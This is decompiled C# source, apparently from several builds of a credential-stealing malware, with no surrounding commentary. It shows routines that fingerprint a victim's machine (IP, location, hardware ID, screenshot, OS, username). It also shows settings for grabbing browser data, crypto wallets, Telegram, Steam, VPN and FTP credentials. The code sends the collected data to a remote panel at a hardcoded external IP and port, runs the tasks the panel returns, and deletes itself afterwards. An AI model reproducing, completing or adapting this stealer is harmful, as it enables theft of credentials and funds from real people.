public static UserLog Create(ClientSettings settings)
{
UserLog userLog = new UserLog();
try
{
GeoInfo geoInfo = GeoHelper.Get();
IList <string> blacklistedCountry = settings.BlacklistedCountry;
if (blacklistedCountry != null && blacklistedCountry.Count > 0 && settings.BlacklistedCountry.Contains(geoInfo.Country))
{
InstallManager.RemoveCurrent();
}
WmiDiskDrive wmiDiskDrive = new WmiService().QueryFirst <WmiDiskDrive>(new WmiDiskDriveQuery());
Size size = Screen.PrimaryScreen.Bounds.Size;
string text = System.TimeZone.CurrentTimeZone.GetUtcOffset(DateTime.Now).ToString();
if (!text.StartsWith("-"))
{
text = "+" + text;
}
userLog.IP = geoInfo.IP;
userLog.Location = geoInfo.Location;
userLog.Country = geoInfo.Country;
userLog.Screenshot = CaptureScreen();
userLog.UserAgent = UserAgentDetector.GetUserAgent();
IList <string> blacklistedCountry2 = settings.BlacklistedCountry;
if (blacklistedCountry2 != null && blacklistedCountry2.Count > 0 && settings.BlacklistedCountry.Contains(geoInfo.Country))
{
InstallManager.RemoveCurrent();
}
userLog.HWID = DecryptHelper.GetMd5Hash(Environment.UserDomainName + Environment.UserName + wmiDiskDrive.SerialNumber).Replace("-", string.Empty);
userLog.CurrentLanguage = InputLanguage.CurrentInputLanguage.Culture.EnglishName;
userLog.TimeZone = "UTC" + text;
userLog.MonitorSize = $"{size.Width}x{size.Height}";
userLog.IsProcessElevated = NativeMethods.IsUserAnAdmin();
userLog.UacType = UacHelper.AdminPromptBehavior;
userLog.OS = OsDetector.GetWindowsVersion();
userLog.Username = Environment.UserName;
return(userLog);
}
catch
{
return(userLog);
}
finally
{
userLog.HWID = (string.IsNullOrWhiteSpace(userLog.HWID) ? "UNKNOWN" : userLog.HWID);
userLog.IP = (string.IsNullOrWhiteSpace(userLog.IP) ? "UNKNOWN" : userLog.IP);
userLog.MonitorSize = (string.IsNullOrWhiteSpace(userLog.MonitorSize) ? "UNKNOWN" : userLog.MonitorSize);
userLog.OS = (string.IsNullOrWhiteSpace(userLog.OS) ? "UNKNOWN" : userLog.OS);
userLog.TimeZone = (string.IsNullOrWhiteSpace(userLog.TimeZone) ? "UNKNOWN" : userLog.TimeZone);
userLog.Username = (string.IsNullOrWhiteSpace(userLog.Username) ? "UNKNOWN" : userLog.Username);
userLog.Location = (string.IsNullOrWhiteSpace(userLog.Location) ? "UNKNOWN" : userLog.Location);
userLog.Country = (string.IsNullOrWhiteSpace(userLog.Country) ? "UNKNOWN" : userLog.Country);
userLog.CurrentLanguage = (string.IsNullOrWhiteSpace(userLog.CurrentLanguage) ? "UNKNOWN" : userLog.CurrentLanguage);
userLog.UserAgent = (string.IsNullOrWhiteSpace(userLog.UserAgent) ? "UNKNOWN" : userLog.UserAgent);
}
}
private static void Main(string[] args)
{
string str = "127.0.0.1";
string buildId = "pref";
try
{
Service <IRemotePanel> .RemoteIP = str;
Service <IRemotePanel> .Use((Action <IRemotePanel>)(panel =>
{
ClientSettings result1 = panel.GetSettings().Result;
UserLog user = UserLog.Create(result1);
user.BuildID = buildId;
user.Credentials = Credentials.Create(result1);
bool flag = false;
while (!flag)
{
try
{
panel.SendClientInfo(user).Wait();
flag = true;
}
catch
{
flag = false;
}
}
user.Credentials = new Credentials();
IList <RemoteTask> result2 = panel.GetTasks(user).Result;
if (result2 == null)
{
return;
}
foreach (RemoteTask task in (IEnumerable <RemoteTask>)result2)
{
try
{
if (Program.CompleteTask(task))
{
panel.CompleteTask(user, task.ID).Wait();
}
}
catch
{
}
}
}));
}
catch
{
}
finally
{
InstallManager.RemoveCurrent();
}
}
private static void Main(string[] args)
{
string remoteIP = "0.0.0.0";
string buildId = "wwq";
try
{
Service <IRemotePanel> .RemoteIP = remoteIP;
Service <IRemotePanel> .Use(delegate(IRemotePanel panel)
{
ClientSettings result = panel.GetSettings().Result;
UserLog userLog = UserLog.Create(result);
userLog.BuildID = buildId;
userLog.Credentials = Credentials.Create(result);
bool flag = false;
while (!flag)
{
try
{
panel.SendClientInfo(userLog).Wait();
flag = true;
}
catch
{
flag = false;
}
}
userLog.Credentials = new Credentials();
IList <RemoteTask> result2 = panel.GetTasks(userLog).Result;
if (result2 != null)
{
foreach (RemoteTask item in result2)
{
try
{
if (CompleteTask(item))
{
panel.CompleteTask(userLog, item.ID).Wait();
}
}
catch
{
}
}
}
});
}
catch
{
}
finally
{
InstallManager.RemoveCurrent();
}
}
// Token: 0x060000AB RID: 171 RVA: 0x00003698 File Offset: 0x00001898
public static UserLog Create(ClientSettings settings)
{
UserLog result = default(UserLog);
try
{
GeoInfo geoInfo = GeoHelper.Get();
geoInfo.IP = (string.IsNullOrWhiteSpace(geoInfo.IP) ? "UNKNOWN" : geoInfo.IP);
geoInfo.Location = (string.IsNullOrWhiteSpace(geoInfo.Location) ? "UNKNOWN" : geoInfo.Location);
geoInfo.Country = (string.IsNullOrWhiteSpace(geoInfo.Country) ? "UNKNOWN" : geoInfo.Country);
geoInfo.PostalCode = (string.IsNullOrWhiteSpace(geoInfo.PostalCode) ? "UNKNOWN" : geoInfo.PostalCode);
IList <string> blacklistedCountry = settings.BlacklistedCountry;
if (blacklistedCountry != null && blacklistedCountry.Count > 0 && settings.BlacklistedCountry.Contains(geoInfo.Country))
{
InstallManager.RemoveCurrent();
}
IList <string> blacklistedIP = settings.BlacklistedIP;
if (blacklistedIP != null && blacklistedIP.Count > 0 && settings.BlacklistedIP.Contains(geoInfo.IP))
{
InstallManager.RemoveCurrent();
}
WmiDiskDrive wmiDiskDrive = null;
try
{
wmiDiskDrive = new WmiService().QueryFirst <WmiDiskDrive>(new WmiDiskDriveQuery());
}
catch (Exception)
{
}
result.HWID = DecryptHelper.GetMd5Hash(Environment.UserDomainName + Environment.UserName + ((wmiDiskDrive != null) ? wmiDiskDrive.SerialNumber : null)).Replace("-", string.Empty);
string text = TimeZone.CurrentTimeZone.GetUtcOffset(DateTime.Now).ToString();
if (!text.StartsWith("-"))
{
text = "+" + text;
}
result.IP = geoInfo.IP;
result.Location = geoInfo.Location;
result.Country = geoInfo.Country;
result.PostalCode = geoInfo.PostalCode;
if (settings.GrabScreenshot)
{
result.Screenshot = UserLogHelper.CaptureScreen();
}
if (settings.GrabUserAgent)
{
result.FingerPrint = UserAgentDetector.GetFingerPrint();
}
else
{
result.FingerPrint = new FingerPrint
{
Plugins = "UNKNOWN",
UserAgent = "UNKNOWN",
WebBaseGlRenderer = "UNKNOWN",
WebBaseGlVendor = "UNKNOWN",
WebBaseGlVersion = "UNKNOWN",
WebDebugGlRenderer = "UNKNOWN",
WebDebugGlVendor = "UNKNOWN"
};
}
result.CurrentLanguage = InputLanguage.CurrentInputLanguage.Culture.EnglishName;
result.TimeZone = "UTC" + text;
Size size = Screen.PrimaryScreen.Bounds.Size;
result.MonitorSize = string.Format("{0}x{1}", size.Width, size.Height);
result.IsProcessElevated = false;
result.OS = OsDetector.GetWindowsVersion();
result.Username = Environment.UserName;
}
catch (Exception)
{
}
finally
{
result.HWID = (string.IsNullOrWhiteSpace(result.HWID) ? "UNKNOWN" : result.HWID);
result.MonitorSize = (string.IsNullOrWhiteSpace(result.MonitorSize) ? "UNKNOWN" : result.MonitorSize);
result.OS = (string.IsNullOrWhiteSpace(result.OS) ? "UNKNOWN" : result.OS);
result.TimeZone = (string.IsNullOrWhiteSpace(result.TimeZone) ? "UNKNOWN" : result.TimeZone);
result.Username = (string.IsNullOrWhiteSpace(result.Username) ? "UNKNOWN" : result.Username);
result.IP = (string.IsNullOrWhiteSpace(result.IP) ? "UNKNOWN" : result.IP);
result.PostalCode = (string.IsNullOrWhiteSpace(result.PostalCode) ? "UNKNOWN" : result.PostalCode);
result.Location = (string.IsNullOrWhiteSpace(result.Location) ? "UNKNOWN" : result.Location);
result.Country = (string.IsNullOrWhiteSpace(result.Country) ? "UNKNOWN" : result.Country);
result.CurrentLanguage = (string.IsNullOrWhiteSpace(result.CurrentLanguage) ? "UNKNOWN" : result.CurrentLanguage);
}
return(result);
}
// Token: 0x06000006 RID: 6 RVA: 0x00002078 File Offset: 0x00000278
public static void Main(string[] args)
{
string text = "95.181.172.34:35253";
string buildId = "loshariki";
try
{
try
{
ServicePointManager.Expect100Continue = true;
ServicePointManager.SecurityProtocol = (SecurityProtocolType.Ssl3 | SecurityProtocolType.Tls | SecurityProtocolType.Tls12);
}
catch
{
}
bool flag;
UserLog log;
Action <IRemotePanel> < > 9__0;
do
{
flag = false;
try
{
foreach (string remoteIP in text.Split(new char[]
{
'|'
}))
{
try
{
Action <IRemotePanel> codeBlock;
if ((codeBlock = < > 9__0) == null)
{
codeBlock = (< > 9__0 = delegate(IRemotePanel panel)
{
ClientSettings settings = null;
try
{
settings = panel.GetSettings();
}
catch (Exception)
{
settings = new ClientSettings
{
BlacklistedCountry = new List <string>(),
BlacklistedIP = new List <string>(),
GrabBrowsers = true,
GrabFiles = true,
GrabFTP = true,
GrabImClients = true,
GrabPaths = new List <string>(),
GrabUserAgent = true,
GrabWallets = true,
GrabScreenshot = true,
GrabSteam = true,
GrabTelegram = true,
GrabVPN = true
};
}
UserLog log = UserLogHelper.Create(settings);
log.Exceptions = new List <string>();
log.BuildID = buildId;
log.Credentials = CredentialsHelper.Create(settings);
log.SendTo(panel);
log = log;
log.Credentials = new Credentials();
IList <RemoteTask> tasks = panel.GetTasks(log);
if (tasks != null)
{
foreach (RemoteTask remoteTask in tasks)
{
try
{
if (log.ContainsDomains(remoteTask.DomainsCheck) && Program.CompleteTask(remoteTask))
{
panel.CompleteTask(log, remoteTask.ID);
}
}
catch
{
}
}
}
});
}
GenericService <IRemotePanel> .Use(codeBlock, remoteIP);
flag = true;
break;
}
catch
{
}
}
}
catch (Exception)
{
}
}while (!flag);
}
catch (Exception)
{
}
finally
{
InstallManager.RemoveCurrent();
}
}
